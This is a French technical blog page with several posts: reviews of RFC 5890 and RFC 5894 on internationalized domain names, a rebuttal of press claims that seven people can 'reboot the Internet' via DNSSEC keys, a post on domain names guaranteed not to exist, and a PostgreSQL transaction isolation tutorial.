  • LDH label est le composant (label) d'un nom de domaine, qui s'écrit uniquement avec LDH (c'est le nom traditionnel comme example dans www.example.com, nom qui compte trois composants). Deux sous-ensemble de LDH label sont définis, Reserved LDH label (ceux dont le troisième et quatrième caractères sont des tirets) et les non-réservés (les noms de domaines pré-IDN comme bortzmeyer.org). Parmi les réservés, certains ont xn en premier et deuxième caractère. Ils forment les XN labels dont tous, c'est important, ne sont pas forcément des encodages valides en Punycode. Ceux qui sont valides sont les A-labels, les autre étant nommés d'un terme péjoratif absolument non justifié, fake A-labels (IDNA2008 contient beaucoup de réglements de compte via le vocabulaire). La figure 1 du RFC représente graphiquement les relations entre ces différents ensembles. Il est recommandé de la consulter en cas de migraine.
  • Les A-labels sont donc la forme ASCII des IDN, produite par Punycode (RFC 3492). Par exemple, xn--stphane-cya est un A-label.
  • Un U-label est un composant valide d'un nom de domaine en Unicode. Par exemple, stéphane est un U-label (dont le A-label est le xn--stphane-cya cité plus haut). Toute chaîne Unicode n'est pas forcément un U-label. Elle doit être normalisée en NFC et ne compter que des caractères autorisés. Tout U-label peut être converti en un A-label unique et réciproquement.

Notons que tous ces termes sont pour des composants d'un nom de domaine (label). Le nom lui-même, s'il contient au moins un A-label ou un U-label est un IDN.

Il y a plein d'autres détails sur les composants d'un nom. Par exemple, lorsque les normes IDNA2008 parlent de l'ordre d'un caractère, c'est une référence à l'ordre de transmission via le réseau. L'affichage peut être différent, puisque certaines écritures se font de droite à gauche.

Tout RFC doit comporter une section sur la sécurité et c'est ici la section 4. Avec IDN, il y a potentiellement des problèmes de débordement de tableau (le U-label peut avoir plus de caractères que son A-label, section 4.2). Mais cette section est aussi l'occasion d'une attaque erronée contre les IDN, accusés d'augmenter la confusion des utilisateurs. D'où des conseils tout à fait inappropriés comme de montrer d'une manière spécifique les noms composés de plusieurs écritures (une pratique pourtant courante dans certains pays).

Les discussions sur cette section avaient été acharnées, avant même la création du groupe de travail, et ont donc mené à des paragraphes déroutants, bourrés d'allusions que le lecteur débutant ne comprendra sans doute pas (comme les mystérieux « risques », jamais explicités, de la section 4.4). Au moins, cette section et la 4.8 disent franchement que la question des caractères visuellement similaires n'a pas de solution technique.


Téléchargez le RFC 5890


L'article seul

RFC 5894: Internationalized Domain Names for Applications (IDNA): Background, Explanation, and Rationale

Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Klensin
Pour information
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010


Dans l'ensemble des RFC sur IDNA bis, celui-ci joue le rôle du document non officiel mais qui éclaire, explique et justifie les autres. Il n'est pas nécessaire de le lire pour mettre en œuvre les IDN mais il peut aider à comprendre la démarche des auteurs de IDNAbis. Mon compte-rendu va être un peu plus polémique que d'habitude car 1) ce RFC n'explique pas grand'chose, en fait et 2) il contient beaucoup de rhétorique et de FUD.

Officiellement, IDNAbis est nommé IDNA2008 (section 1), car c'était la date (totalement irréaliste, et qui avait été pointée comme telle par de nombreux participants) à laquelle le projet devait se terminer. La section 1 rappelle aussi quelques points sur lesquels IDNA 1 posait des problèmes, le changement de la gestion de la casse (IDNA 1 était insensible à la casse, comme le DNS) alors que IDNAbis résout le problème autrement, en interdisant les majuscules) ou comme la dépendance de IDNA 1 à une version spécifique d'Unicode (ce qui interdisait les écritures qui sont entrées dans Unicode plus tard, comme le Tifinagh).

Les objectifs d'IDNAbis sont détaillés dans la section 1.4 :

  • Indépendance vis-à-vis d'une version particulière d'Unicode (certainement l'objectif qui était le plus consensuel),
  • Régler quelques limites d'IDNA 1 qui interdisaient, en pratique, certaines langues comme le Yiddish, qui avaient besoin de certains caractères, qui étaient exclus,
  • Réduire (en fait, elle a même été supprimée) l'étape de canonicalisation (qui était faite avec nameprep, du RFC 3491),
  • Changer les règles du bidi (cf. le nouveau RFC 5893).

Pour le reste, le RFC est plutôt une collection assez décousue de divers points qui furent discutés lors du projet IDNAbis, points sur lesquels John Klensin tenait à faire connaître son opinion personnelle. Cela tient du blog plutôt que du RFC. Voyons quelques-uns de ces points.

Le terme même de « nom de domaine » peut entraîner des confusions car un nom dans le DNS n'est pas forcément une phrase ou même un mot dans une langue naturelle (section 1.3.1). Plusieurs règles du DNS interdisent certaines phrases ou certains mots (par exemple, la société C&A ne peut pas avoir de domaine à son nom, l'esperluette n'étant pas autorisée, avec ou sans IDN ; même chose avec le nom local de l'archipel d'Hawai'i, l'apostrophe n'étant pas acceptée). L'argument de Klensin est que, finalement, l'ancienne restriction à ASCII n'est pas si terrible puisque, de toute façon, on ne peut pas « écrire un roman dans le DNS ». Dommage qu'il se sente obligé de ridiculiser ceux qui ont une autre approche en les accusant de vouloir écrire du Klingon.

La section 1.5 concerne les limites d'IDNA, les points qu'il ne résoudra pas. Par exemple, le DNS ne permet pas de recherche floue, il faut indiquer le nom de domaine exact et cela ne change pas. L'augmentation du nombre de caractères admissibles, grâce à IDNA, peut rendre ce problème plus palpable (par exemple si on lit un peu trop vite un nom de domaine qu'on a vu sur le côté d'un bus).

Comme IDNA 1, IDNAbis ne nécessite pas de changement de l'infrastructure, comme l'aurait nécessité un hypothétique DNS Unicode. Une des conséquences est qu'il existe une forme ASCII de chaque IDN, le A-label et que ce nom (par exemple xn--pgbs0dh pour تونس) peut toujours être utilisé comme solution de secours.

La section 1.6 raconte qu'un des buts de IDNAbis était d'améliorer la « comprehensibilité » d'IDN. Qu'une personne normale, n'ayant pas forcément lu les RFC, comprenne mieux le fonctionnement d'IDN. D'où la suppression de l'étape de canonicalisation, jugée trop déroutante. Avec IDNAbis, les noms de domaine en Unicode (U-labels) seront tous déjà sous forme canonique (les autres étant interdits), ce qui devrait augmenter ladite compréhensibilité.

En fait, la canonicalisation (par exemple de CAFÉ vers café) sera faite dans l'interface utilisateur et plus dans le protocole et je ne crois pas que cela rende les choses plus prévisibles, d'autant plus que deux interfaces utilisateur différentes pourront canonicaliser différemment.

Traditionnellement, le DNS avait des règles différentes pour la résolution (qui utilisait des règles standard, comme l'insensibilité à la casse, mais aussi l'acceptation de tous les caractères, au delà de ASCII, cf. RFC 2181, section 11) et l'enregistrement (où les règles sont décidées localement par le registre et sont typiquement bien plus sévères, par exemple limitation à l'ASCII, interdiction des gros mots, etc). IDNAbis formalise cette distinction, pour refléter cette pratique (section 2 et RFC 5891).

Une des caractéristiques nouvelles et importantes de IDNAbis est que les caractères Unicode sont désormais interdits par défaut, alors qu'avec IDNA 1, ils étaient autorisés, sauf quand c'était indiqué explicitement. La section 3 revient sur ce choix. L'algorithme exact figure dans le RFC 5892. Une autre différence entre IDNA 1 et IDNAbis est que la validité d'un caractère dépend désormais du contexte. En effet, certains caractères notamment les « gluons », les caractères qui contrôlent le fait que deux caractères soient séparés ou pas, peuvent être jugés raisonnables ou pas, selon les caractères autour d'eux. C'est le cas par exemple de U+200D - le gluon de largeur nulle. En IDNA 1, tous ces caractères de la catégorie Unicode Join_Controls étaient interdits. Ils sont désormais autorisés conditionnellement (section 3.1.2)

Par défaut, en IDNAbis, les caractères tombent dans la catégorie IDN DISALLOWED (section 3.1.3). On y trouve des caractères qui ne sont typiquement pas considérés comme lettre ou chiffres et donc ne correspondent pas aux traditionnels critères pour les identificateurs. C'est le cas du ⁄ (U+2044) ou du ♥ (U+2665).

Les règles du protocole IDNAbis ne sont pas la totalité des règles applicables. En effet, le registre peut ajouter des règles supplémentaires. Par exemple, la plupart des registres interdisent l'enregistrement de noms comportant des caractères parfaitement valides dans le DNS comme le _ (U+005F). La section 3.2 discute des politiques des registres. Il serait plus juste de dire que cette section aboie des ordres, sur un ton paternaliste. On y trouve beaucoup d'opinions personnelles non étayées, déguisées en « bonnes pratiques » par exemple l'idée qu'il ne faut pas accepter les noms composés de plusieurs écritures (alors la plupart des utilisateurs d'alphabets non-latins acceptent en plus les caractères latins). Certaines recommandations sont intéressantes (comme celle du système des variantes, cf. RFC 3743, RFC 4290 et RFC 4713) mais d'autres relèvent plutôt d'une volonté de bras de fer, qui avait souvent été exprimée ouvertement dans les réunions du groupe de travail IDNAbis (par exemple, Klensin disant que « les registres pensaient uniquement à l'argent et qu'il fallait les contraindre à respecter l'intérêt général », intérêt qu'il exprimait, lui).

De même, cette section justifie la règle (section 4.1 du RFC 5891) comme quoi le demandeur doit envoyer à la fois le U-label (forme Unicode) et le A-label (forme Punycode) au registre, en prétendant que c'est pour vérifier la cohérence des deux. Pourtant, la forme Punycode n'est qu'une astuce technique pour déployer les IDN, ce que l'utilisateur veut, c'est la forme Unicode et il est tout à fait anormal de prétendre que le A-label aie un quelconque intérêt pour l'utilisateur !

Ces règles et bien d'autres ont souvent été justifiées au début du processus IDNAbis par de vagues arguments de sécurité (section 2.2.6 du RFC 4690). Cette baudruche s'est dégonflée assez vite et, aujourd'hui, la section 3.3 note à juste titre qu'il n'y a pas de solution technique à des questions comme celle de la confusabilité de deux caractères (par exemple le 0 - U+0030 - et le O - U+004F).

Traditionnellement, l'IETF travaille uniquement sur ce qui se passe sur le câble, loin des utilisateurs. Ici, toutefois, on ne peut pas ignorer les problèmes des applications, IDNA est faite pour elles (le A final du sigle). La section 4 se penche donc sur les logiciels que verra l'utilisateur. D'abord, contrairement au réseau, où les noms de domaines sont toujours transmis dans le même ordre (celui de la saisie au clavier), l'affichage des IDN peut être de droite à gauche ou de gauche à droite (section 4.1). Cela peut être d'autant plus complexe à gérer pour, par exemple, un navigateur Web, que le nom complet peut avoir des composants de gauche à droite et d'autres de droite à gauche (par exemple www.تونس.com). Ce cas est encore pire pour un IRI (RFC 3987) puisque celui-ci a forcément au moins un composant ASCII, le plan (par exemple http).

Saisir et afficher des IDN nécessite donc des choix délicats et des codes complexes (alors qu'un serveur de noms, par exemple, ou même une base de données d'un registre qui stocke des noms de domaine, n'ont rien de particulier à faire). La section 4.2 donne quelques conseils. Elle rappelle par exemple que les noms de domaine peuvent apparaitre dans un contexte où le fait qu'il s'agisse d'un nom de domaine est évident (par exemple lors d'un dialogue SMTP) mais aussi dans du texte libre, où le logiciel ne comprend pas forcément ce qu'il transmet. Les protocoles devraient donc bien préciser quand un nom de domaine est une partie du protocole (commande MAIL FROM de SMTP) et quand il ne l'est pas (le corps d'un message envoyé en SMTP).

Un problème en soi est celui de la canonicalisation (mapping, mise en correspondance) des caractères saisis par l'utilisateur avec ce que IDNAbis accepte. Dans IDNA 1, il existait une canonicalisation officielle, nameprep, normalisée dans le RFC 3491. Elle a été supprimée et, désormais, la canonicalisation est laissée à l'initiative de l'application. La seule obligation est de produire un nom conforme au protocole IDNAbis. Comme celui-ci, par exemple, exclus les majuscules (contrairement à la tradition du DNS, où majuscules et minuscules sont autorisées, tout en étant équivalentes), l'application doit mettre le nom en minuscules (une tâche triviale en ASCII mais bien plus complexe en Unicode, elle peut même dépendre de la langue). Le RFC 5895 décrit un exemple d'une telle canonicalisation.

A priori, cette canonicalisation locale, chacun faisant comme il veut, risque de dérouter et d'entrainer bien des problèmes : la même chaîne de caractères en Unicode, saisi dans deux navigateurs différents, pourra donner des noms de domaines (U-label) différents. L'idée est que chaque application prendra une décision conforme au contexte local (l'application connait l'utilisateur, connait sa langue) et que cela sera finalement moins surprenant. En outre, cela permet d'avoir, contrairement à IDNA 1, un aller-retour sans perte dans les conversions entre U-label et A-label.

D'autres attentes linguistiques peuvent poser un problème au développeur de logiciel IDNAbis. La section 4.3 fournit quelques exemples pittoresques :

  • Norvégiens et suédois peuvent considérer que æ et ä sont équivalents, ce qui dérouterait un utilisateur anglophone. Même chose avec oe et ö pour un allemand.
  • Un chinois regarde en général les formes simplifiées et traditionnelles d'un caractère comme équivalentes, or ces caractères sont aussi utilisés pour le japonais où cette opération n'aurait pas de sens.
  • Tout simplement, un anglophone pourrait s'étonner que theatre et theater, ou bien color et colour soient deux noms de domaine distincts... La frontière entre l'équivalence que doit faire le protocole et celle qui est laissée à la responsabilité de l'utilisateur n'est pas évidente à placer.

Autre cas de canonicalisation délicat : la distinction entre majuscules et minuscules. Pour les utilisateurs de l'alphabet latin, les deux casses sont souvent considérées comme sémantiquement équivalentes et c'est ce point de vue que reflète le DNS lorsque le RFC 1034 section 3.1 dit « domain name comparisons for all present domain functions are done in a case-insensitive manner ». Avec Unicode, un tel principe n'est plus tenable, comme le rappelle la section 4.4. Ni IDNA 1, ni IDNAbis n'obligent les serveurs à être insensibles à la casse et pour de bonnes raisons. Par exemple, certains caractères n'ont pas de majuscule propre comme le sigma final ς. Une conversion en majuscules en fait un Σ dont la forme minuscule est le sigma ordinaire σ. IDNA 1 résolvait la question en imposant aux applications une canonicalisation en minuscules via nameprep (RFC 3491), IDNAbis choisit d'ignorer le problème en n'acceptant que les minuscules et en laissant l'application canonicaliser à sa guise, en suivant les règles locales. À noter que ce changement peut entraîner quelques incompatibilités entre les deux versions d'IDN. Ainsi, en IDNA 1, strasse.de et straße.de sont le même nom de domaine (puisque nameprep canonicalise le second dans le premier) alors qu'ils sont différents en IDNAbis.

Le cas des écritures qui s'affichent de droite à gauche fait l'objet de la section 4.5. Pour limiter les risques d'ambiguité, IDNA 1 et IDNAbis imposent que, dans chaque composant d'un nom de domaine, il n'y aie que des caractères de la même directionnalité (ou des caractères neutres). C'est une des rares règles d'IDN qui examinent le composant entier, pas juste des caractères individuels.

La règle exacte dans IDNA 1 était trop stricte pour certaines langues qui ont besoin de marques vocaliques comme le yiddish écrit en hébreu ou le divehi écrit en thaana. Ces marques n'ont pas de directionalité et étaient interdites à la fin d'un composant. Ce n'est plus le cas et IDNAbis permet donc des noms qui étaient interdits en IDNA 1 (cf. RFC 5893).

En revanche, l'idée d'avoir des règles entre composants (étendre la règle ci-dessus à tout le FQDN) a été abandonnée. Elle aurait imposé une partie de bras de fer avec les registres de noms. (Le RFC ne mentionne pas cette très mauvaise idée, qui était pourtant promue par son auteur...) Il est donc toujours possible d'avoir un nom de domaine dont certains composants sont de gauche à droite et d'autres de droite à gauche.

La section 5 se réclame du fameux principe de robustesse (« soyez strict dans ce que vous envoyez et tolérant dans ce que vous recevez ») pour culpabiliser les registres de noms de domaine en leur faisant porter la responsabilité de contrôles plus étendus. En pratique, l'application qui accède à un IDN ne peut pas compter dessus, à la fois parce que tous les registres n'ont pas forcément les obsessions de John Klensin, mais aussi parce que des techniques comme les jokers (RFC 1034, section 4.3.3) font qu'un nom peut être résolu bien qu'il n'aie jamais été enregistré.

Encore plus délicate, la question des interfaces utilisateur (section 6). Il n'est évidemment pas possible de donner des règles applicables à tous les cas, vue la grande variété de ces interfaces. La section 6 se concentre surtout sur la nouveauté de IDNAbis ayant le plus d'implication pour l'interface : le fait que la canonicalisation standard (nameprep) du RFC 3491 aie disparu. Cette canonicalisation standard avait des avantages, notamment une meilleure interopérabilité, due au caractère plus prédictible des noms. Mais d'un autre côté, elle menait à des canonicalisations qui ne tenaient pas compte de la locale et pouvaient donc être surprenantes pour l'utilisateur humain. La nouvelle règle (chaque application canonicalise comme elle veut) permet aux applications (qui connaissent l'utilisateur, la locale, la langue...) de produire, à partir de ce qu'a tapé ou sélectionné l'utilisateur, des noms qui seront moins déroutants.

Pour ceux qui avaient déjà déployé les IDN avec l'ancienne norme IDNA 1, la section 7 fournit une description détaillée des mécanismes de migration possibles, et des pièges qui peuvent les guetter. Ainsi, comme le précise la section 7.2, des chaînes de caractères identiques en IDNA1 ne le sont plus en IDNAbis (strasse et straße ou bien les noms utilisant les gluons Unicode comme le U+200D) et donc deux noms de domaines qui étaient équivalents en IDNA 1 ne le sont plus (et ont donc des A-labels différents). Le choix n'a pas été évident. La section 7.2.3 résume les possibilités qui s'offraient au groupe de travail, dont certaines étaient très lourdes (changer le préfixe de l'encodage, actuellement xn--, par exemple, pour marquer clairement l'incompatibilité). Finalement, après de très longues discussions, le choix a été fait d'accepter cette légère incompatibilité. Une fois cette décision prise, quelle stratégie adopter pour accueillir ces « nouveaux » caractères ? La section 7.2.4 en décrit plusieurs, du refus des nouveaux, qui empêchera les anciens noms de fonctionner mais évitera toute confusion, à la période de transition (sunrise) pendant laquelle les titulaires des anciens noms auraient priorité pour enregistrer le nom incluant les nouveaux caractères. Par exemple, un registre germanophone pourrait donner la priorité au titulaire de strasse.de pour qu'il enregistre straße.de avant tout le monde. Il y a aussi l'éventualité d'un système de « variantes » où les noms « anciens » et « nouveaux » seraient liés en permanence et enregistrables uniquement par le même titulaire. Et la toute simple possibilité de ne pas s'en préoccuper, en considérant que le problème est mineur et disparaitra peu à peu. À l'heure actuelle (juin 2010), le registre du .AT prévoit de ne pas utiliser de variantes et de ne pas accepter immédiatement les nouveaux caractères. Lorsque ce sera fait, je suppose qu'il y aura une période de transition avec priorité aux anciens titulaires. C'est ce qu'a fait le registre du .DE, DENIC, qui fournit une période de transition.

La question du changement de préfixe fait même l'objet d'une section spécifique, 7.4. En effet, la question avait été sérieusement envisagée. Ce changement aurait créé deux familles d'IDN complètement séparées, celle dont les A-labels commencent par xn-- et la nouvelle. Le groupe de travail a considéré que le changement de préfixe aurait été nécessaire si les changements avaient créé un risque de confusion. La section 7.4.1 énumère précisèment les cas où cela se serait produit, par exemple si la conversion d'un A-label en U-label avait renvoyé deux chaînes Unicode différentes ; le cas inverse était jugé moins grave, et il s'est effectivement produit dans de rares cas, comme dans l'exemple du ß ci-dessus. Autre exemple, celui où l'encodage du A-label aurait été drastiquement modifié, par exemple pour inclure de l'information sur la langue utilisée.

En revanche, le groupe de travail avait considéré que des changements comme l'interdiction de caractères autrefois autorisés (section 7.4.2) ne justifiait pas un changement de préfixe. Cette interdiction rend des noms enregistrés inutilisables dans le DNS mais l'idée est qu'un refus clair est moins grave qu'un changement de sémantique et ne justifie donc pas de changement de préfixe. Un tel changement aurait eu des coûts considérables, détaillés en section 7.4.3. En effet, si un registre peut toujours changer tous les A-labels facilement (UPDATE Domains SET alabel TO idnabis_alabel(ulabel)), il n'aurait pas pu synchroniser ce changement avec celui des applications qui ont l'encodage en Punycode.

Et l'algorithme nameprep, normalisé dans le RFC 3491, que devient-il ? Il est complètement abandonné en IDNAbis mais nameprep n'est qu'un profil particulier de stringprep, normalisé dans le RFC 3454, et celui-ci est utilisé par bien d'autres normes IETF et il continue donc sa vie (section 7.5), sans que IDNAbis ne l'affecte.

Un des grands changements théoriques entre IDNA 1 et IDNAbis est l'interdiction des symboles comme U+2665 (♥), U+2605 (★) ou U+2798 (➘). C'est un changement surtout théorique car, en pratique, ils étaient souvent interdits par les règles d'enregistrement et on ne les trouve pratiquement pas en pratique. (Voir, par exemple, le IESG Statement on IDN.) Cette méfiance vis-à-vis des symboles vient entre autre du fait qu'il n'existe pas de nommage standard pour les désigner et que les variations de forme entre polices sont encore plus marquées que pour les lettres. Il n'est donc pas facile d'épeler un nom de domaine comme I♥NY.us sans ambiguité... D'autant plus que certains symboles ont beaucoup de caractères Unicode correspondants (comme le carré).

La même section 7 couvre le cas de la migration interne à IDNAbis lorsqu'une nouvelle version d'Unicode est publiée (section 7.7). En effet, IDNAbis n'est plus lié à une version spécifique d'Unicode et l'enregistrement de nouveaux caractères, ou bien certains changements dans les caractères déjà enregistrés, peuvent faire apparaitre « automatiquement » de nouveaux caractères légaux dans IDN.

Parmi les innombrables questions qu'avaient soulevé l'introduction des IDN en 2003, le comportement des logiciels serveurs de noms comme BIND (section 8). Le souci de ne pas leur faire faire des canonicalisations Unicode est la principale raison pour laquelle nous avons IDNA (IDN in Applications) et pas un DNS Unicode). Si le DNS a toujours prévu une canonicalisation minimale (les noms de domaine sont insensibles à la casse), celle-ci n'a jamais été normalisée pour Unicode (cf. RFC 4343). Ce point ne change pas en IDNAbis.

Donc, une des rares conséquences réelles pour les serveurs de noms est la longueur plus importante de beaucoup d'IDN. Ce point est mentionné en section 8.2, mais sans préciser que DNSSEC, bien plus gourmand, a été déployé sans trop de problèmes. Depuis la rédaction du RFC, l'introduction de quatre TLD IDN dans la racine du DNS a bien montré qu'il n'y avait aucun problème technique, malgré le FUD qui a été répandu à ce sujet.

Vu le sujet du RFC, la section facultative sur l'internationalisation se devait d'être présente (section 9). Elle rappelle que les noms dans le DNS, quoique mnémoniques, ne sont pas écrits selon les règles des langues humaines (par exemple, l'espace n'y est pas permis) et qu'il ne faut donc pas demander aux IDN de permettre l'écriture de n'importe quelle phrase, en respectant toutes les règles de la langue. Ceci dit, la même section oublie par contre de dire que, si les noms de domaine ne sont pas du texte en langue naturelle, ils ne sont pas non plus de purs identificateurs (c'est pour cela qu'ils ont une utilisation mnémonique) et c'est bien cela qui justifie IDN (personne ne demande l'internationalisation des adresses IP qui sont, elles, de purs identificateurs).

Une autre raison pour laquelle les règles des langues humaines ne peuvent pas être intégralement respectées dans le DNS est que le DNS est mondial et qu'un nom de domaine doit pouvoir être utilisé partout. D'autre part, le RFC rappelle également qu'un nom de domaine n'est pas écrit dans une langue particulière. Quelle est la langue de coca-cola.com ? (Certainement pas de l'anglais.)

Le développement de IDNAbis a nécessité la création de certains nouveaux registres à l'IANA. La section 10 revient sur ces registres. Elle rappelle que la liste des caractères autorisés n'est pas normative, seul l'est l'algorithme du RFC 5892. En revanche, la liste des règles contextuelles est normative. Plus délicate, la liste des politiques d'enregistrement, dont la section 10.3 rappelle qu'elle n'a aucune valeur, c'est juste un dépôt volontaire de leurs politiques par certains registres. Elle n'est spécifiée dans aucun RFC et ne découle que de considérations politiciennes à l'ICANN.


Téléchargez le RFC 5894


L'article seul

Faut-il vraiment pouvoir rebouter l'Internet ?

Première rédaction de cet article le 30 juillet 2010


On le sait, la grande majorité des articles concernant l'Internet sont faux et, en prime, souvent ridiculement faux. Cela concerne évidemment les médias traditionnels (presse, télévision, etc) mais aussi les forums en ligne où les deux cents commentaires à un article sont écrits par des gens dont la seule compétence technique est l'installation de WordPress (et, parfois, ne soyons pas trop méchants, l'écriture de dix lignes de PHP). Mais des records ont été récemment battus à propos de la légende comme quoi « Sept personnes ont les clés pour rebouter l'Internet ».

Le point de départ de la légende semble avoir été un communiqué publicitaire de l'Université de Bath, « Bath entrepreneur holds key to internet security ». Ce communiqué outrageusement cireur de pompes contenait beaucoup d'erreurs et a été repris, aussi bien dans la presse bas de gamme comme Metro (« Brit given a key to 'unlock' the internet ») que dans des médias prétendument sérieux comme la BBC (« Bath entrepreneur 'holds the key' to internet security », notez la reprise quasi-littérale du titre du communiqué de presse) ou comme le Guardian (« Is there really a key to reboot the internet? », l'article le moins mauvais du lot).

La légende a ensuite franchi la Manche et, dans la traduction, le côté chauvin et la publicité pour une personne particulière ont disparu. Cela a donné « Sept personnes ont les clés d'Internet ! », « Les sept clés de l'Internet sécurisé » ou « Rebooter internet - Comment ça marche ? » (de moins mauvaise qualité).

Bon, qu'il y a t-il de vrai dans cette légende ? Sur quoi cela s'appuie t-il ? Depuis le 15 juillet dernier, le processus de signature de la racine du DNS par le système DNSSEC est complet : les serveurs de noms de la racine diffusent désormais des informations signées, ce qui permet de détecter des tentatives de modification des données, comme celles utilisant la faille Kaminsky. Tout ce processus est largement documenté sur le site officiel http://www.root-dnssec.org/ et il est symptomatique qu'aucune des personnes qui ait écrit à ce sujet ne l'ait consulté. À l'ère d'Internet, toute l'information est gratuitement et librement disponible, encore faut-il la lire !

Notons d'abord que ce processus ne concerne que le DNS. Certes, ce protocole d'infrastructure est indispensable au bon fonctionnement de la quasi-totalité de l'Internet. Sans lui, on serait limité à des ping (en indiquant l'adresse IP) et à des traceroute (avec l'option -n). Certains services, comme le Web, dépendent encore plus du DNS. Néanmoins, on voit que parler d'un « redémarrage de l'Internet » est ridicule, que DNSSEC fonctionne ou pas n'empêchera pas le réseau de faire passer des paquets.

Ensuite, dans ce processus, quel est le rôle des fameux sept gusses ? Leur nom est disponible sur le site officiel (alors que certains articles disaient « on ne connait que certains d'entre eux » et autres phrases censées faire croire qu'on révélait au lecteur des secrets stratégiques). Leur rôle est décrit dans le document « Trusted Community Representatives ­ Proposed Approach to Root Key Management », document qui a été publié il y a des mois. Le processus complet figure dans « DNSSEC Practice Statement for the Root Zone KSK Operator ». DNSSEC fonctionne en signant cryptographiquement les enregistrements distribués. Il dépend donc d'une clé privée qui doit à la fois être disponible (pour signer) et être protégée pour éviter que les méchants ne mettent la main dessus. (À propos de méchant, tout article qui parle d'« attaque terroriste » est grotesque. Comme si Al-Qaida, spécialiste des bombes et des égorgements, avait tout à coup envie d'empêcher les riches pays du Nord de regarder YouTube.) Un des risques possibles est la perte complète de la clé privée (suite à un incendie ou à un tremblement de terre, risques autrement plus importants que la mythique attaque terroriste). Il y a donc des sauvegardes mais celles-ci sont protégées par chiffrement. Et c'est là qu'interviennent les TCR.

Il y a deux sortes de TCR (« Trusted Community Representatives »), choisis pour assurer des rôles de gestions des clés cryptographiques de DNSSEC. Il y a les « Crypto Officers » qui vont s'occuper de la génération des clés (au cours de solennelles cérémonies) et les « Recovery Key Share Holders » (les fameux sept). Ces derniers sont simplement chargés de garder une partie de la clé qui permettra le déchiffrement des sauvegardes. C'est tout. Ils ne peuvent pas « redémarrer l'Internet », ce qui ne veut rien dire. Mais, si les articles sensationnalistes avaient commencé par « Sept personnes peuvent restaurer les sauvegardes des clés DNSSEC », gageons qu'ils auraient eu moins de succès...

Enfin, il faut relativiser : à l'heure actuelle, si un certain nombre de domaines sont signés par DNSSEC (par exemple, hier, .dk et .edu ont rejoint la liste des TLD dont la racine authentifie la signature), pratiquement aucun résolveur DNS (les serveurs directement interrogés par les utilisateurs) ne valide avec DNSSEC. Que la clé privée soit compromise ou pas ne changera rien, puisque les signatures sont ignorées. Il faudra sans doute des années avant que les résolveurs de M. Tout-le-Monde dépendent d'une signature DNSSEC. La remarque de Bruno, « les 7 gugusses et leurs cartes à puce ont autant de pouvoir sur le bon fonctionnement d'Internet que mon chat sur le problème des embouteillages sur le periph parisien » est donc à 100 % justifiée.


L'article seul

Y a t-il un nom de domaine dont on peut garantir qu'il n'existe pas ?

Première rédaction de cet article le 30 juillet 2010


Cela peut paraître bizarre, comme demande, un nom de domaine non-existant. Mais il y a des bonnes raisons pour en trouver un, même si l'IESG n'arrive pas à se décider.

Par exemple, une des raisons pour l'utilisation d'un nom inexistant est à cause des résolveurs DNS menteurs. Si je veux tester si mon résolveur DNS est menteur, je peux tester avec un nom qui ne devrait pas exister :

% dig ANY nexistesurementpas.fr
...
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 49744
...

et j'ai bien le code de réponse NXDOMAIN (No Such Domain). Mais si quelqu'un s'amuse à déposer nexistesurementpas.fr, ce test ne donnera plus le résultat attendu.

Autre exemple d'utilisation, décourager les clients Windows qui essaient de faire de la mise à jour dynamique du serveur DNS en écrivant au serveur indiqué dans l'enregistrement SOA. Indiquer un serveur bidon dans ce champ éviterait de recevoir pas mal de trafic dynamic update.

Bon, mais, est-ce qu'il existe un nom dont la non-existence est garantie ? Il existe (RFC 2606) un TLD inexistant, .example. Puis-je utiliser foobar.example ? Aujourd'hui, oui mais il n'existe pas de garantie formelle que cela ne changera pas dans le futur (même chose pour les autres TLD du RFC 2606).

Une autre idée, 256.in-addr.arpa (ou 257.in-addr.arpa) avait été envisagée, profitons du fait que le sous-arbre des délégations « inverses » (d'adresse IP en nom) s'arrêtait à 255 (valeur maximale d'un octet). Mais, là encore, on ne peut rien garantir.

D'où le projet sink.arpa de l'IETF, la réservation formelle d'un nom dont on est sûr de la non-existence (la gestion de .arpa est documentée dans le RFC 3172). sink.arpa est documenté dans l'Internet-Draft http://tools.ietf.org/id/draft-jabley-sink-arpa mais est actuellement bloqué dans son évaluation à l'IESG.

Bref, en ce moment, il n'y a pas vraiment de nom de domaine dont l'inexistance soit garantie.


L'article seul

Isolation des transactions, oui, mais à quel niveau ?

Première rédaction de cet article le 28 juillet 2010


Un des services les plus importants que rendent les SGBD est d'isoler les transactions les unes des autres, c'est-à-dire de faire en sorte que, pendant qu'une transaction joue avec les données, les autres pourront continuer à travailler tranquillement, avec des données stables. Mais certains débutants en SGBD ignorent qu'il existe plusieurs niveaux d'isolation dans SQL et que tous ne garantissent pas une isolation parfaite, loin de là.

Prenons l'exemple de PostgreSQL, qui documente très bien ces différents niveaux d'isolation. On va créer une table pour essayer :

essais=> CREATE TABLE Foo (id SERIAL, name TEXT, number INTEGER);

Maintenant, si on se connecte et qu'on lance une transaction, par défaut, celle-ci aura le niveau d'isolation read committed. Cela vaut dire qu'on verra les COMMIT des autres (ce que la littérature SQL appelle un phantom read)  :

essais=> BEGIN;
BEGIN
essais=> SELECT * FROM foo;
 id | name | number 
----+------+--------
(0 rows)

[Ici, une autre transaction fait un 
"INSERT INTO Foo (name, number) VALUES ('durand', 15);"]

essais=> SELECT * FROM foo;
 id |  name  | number 
----+--------+--------
  1 | durand |     15
(1 rows)

On n'a donc pas été complètement isolé des autres transactions. Si on veut le faire, il faut indiquer explicitement, après le début de la transaction mais avant la première requête, un niveau plus isolant :

essais=> BEGIN;
BEGIN
essais=> SET TRANSACTION isolation level serializable;
SET
essais=> SELECT * FROM foo;
 id |  name  | number 
----+--------+--------
  1 | durand |     15
(1 rows)

[Cette fois, même si une autre transaction fait, par exemple, "INSERT
INTO Foo (name, number) VALUES ('dupont', 1)", nous ne le verrons pas
tant que notre propre transaction est en cours.]

essais=> SELECT * FROM foo;
 id |  name  | number 
----+--------+--------
  1 | durand |     15
(1 rows)

[Lorsque notre transaction se termine, on voit les changements faits
entre temps.]

essais=> COMMIT;
COMMIT
essais=> SELECT * FROM foo;
 id |  name  | number 
----+--------+--------
  1 | durand |     15
  2 | dupont |      1
(2 rows)

